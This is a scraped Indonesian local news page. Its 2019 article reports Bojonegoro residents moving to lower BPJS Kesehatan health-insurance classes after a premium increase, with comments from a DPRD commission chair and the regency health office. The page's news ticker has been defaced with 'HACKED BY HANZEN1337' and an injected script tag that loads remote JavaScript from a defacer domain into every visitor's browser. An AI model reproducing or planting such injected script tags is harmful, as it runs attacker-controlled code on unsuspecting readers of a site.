News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Banyak Peserta BPJS Kesehatan Turun Kelas, Komisi C DPRD Bojonegoro Harap Ada Persiapan

Banyak Peserta BPJS Kesehatan Turun Kelas, Komisi C DPRD Bojonegoro Harap Ada Persiapan

Bojonegoro - Adanya kenaikan iuran Badan Penyelenggara Jaminan Sosial (BPJS) Kesehatan yang mencapai 100 persen pada 2020 membuat sebagian warga masyarakat di Kabupaten Bojonegoro saat ini mulai mengambil langkah untuk melakukan penurunan kelas.
 
 
Menyikapi hal tersebut, Ketua Komisi C, Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Bojonegoro, Mochlasin Afan SH, mempertanyakan sekaligus berharap adanya kesiapan Pemerintah Kabupaten (Pemkab) Bojonegoro, dalam mengantisipasi banyaknya warga masyarakat peserta BPJS Kesehatan yang melakukan penurunan kelas tersebut.
 
"Kami sudah mempertanyakan itu, karena sebagai dampak ada kenaikan iuran BPJS Kesehatan tahun depan," kata Mochlasin Afan SH, kepada awak media ini, Jumat (15/11/2019).
 
 
 
Diberitakan sebelumnya, bahwa setiap hari, ada puluhan warga yang mendatangi kantor Badan Penyelenggara Jaminan Sosial (BPJS) Kesehatan Cabang Bojonegoro untuk melakukan turun kelas.
 
 
 
Selain itu, dia juga berharap dengan banyaknya peserta BPJS yang mengajukan penurunan kelas, menurutnya juga perlu adanya kesiapan dari pihak RSUD sendiri.
 
Sekarang ini, ada tiga RSUD yang ada di Bojonegoro, yaitu RSUD Padangan dan RSUD Sumberrejo, yang fasilitas kesehatannya hanya diperuntukkan bagi pelayanan peserta BPJS kelas tiga. Sedangkan untuk RSUD Sosodoro Djatikoesoemo Bojonegoro, ada fasilitas kelas satu dan dua.
 
"Kita akan kawal ini demi masyarakat Bojonegoro, agar mendapat pelayanan maksimal saat berobat," kata Mochlasin Afan mengimbuhkan.
 
 
Sementara itu, menurut Pelaksana Tugas (Plt) Kepala Dinas Kesehatan Kabupaten Bojonegoro, dokter Ahmad Hernowo Wahyutomo, bahwa Dinkes Bojonegoro saat ini telah menganggarkan Rp 150 miliar untuk menanggung iuran jaminan kesehatan bagi warga miskin kepada Badan Penyelenggara Jaminan Sosial (BPJS).
 
Menurutnya, jumlah anggaran tersebut akan diperuntukkan untuk warga miskin yang sudah tercover BPJS Penerima Bantuan Iuran (PBI) melalui APBD.
 
“Data tahun 2018 ada sekitar 95.000 penerima BPJS PBI yang melalui APBD. Setiap tahun ada verifikasi jumlah peserta,” tutur dokter Hernowo.
 
 
Disinggung adanya antisipasi lonjakan jumlah peserta BPJS Kesehatan Kelas III, dokter Hernowo mengaku akan melakukan pendataan ulang bagi peserta yang turun kelas. Menurutnya, penerima bantuan tersebut benar-benar orang miskin.
 
“Asalkan mau menjadi peserta BPJS kelas 3 dan memiliki SKTM, maka langsung kita usulkan dalam PBI daerah,” katanya. (sup/imm)
Berita Terkait
1783871668.5857 at start, 1783871669.4149 at end, 0.8292510509491 sec elapsed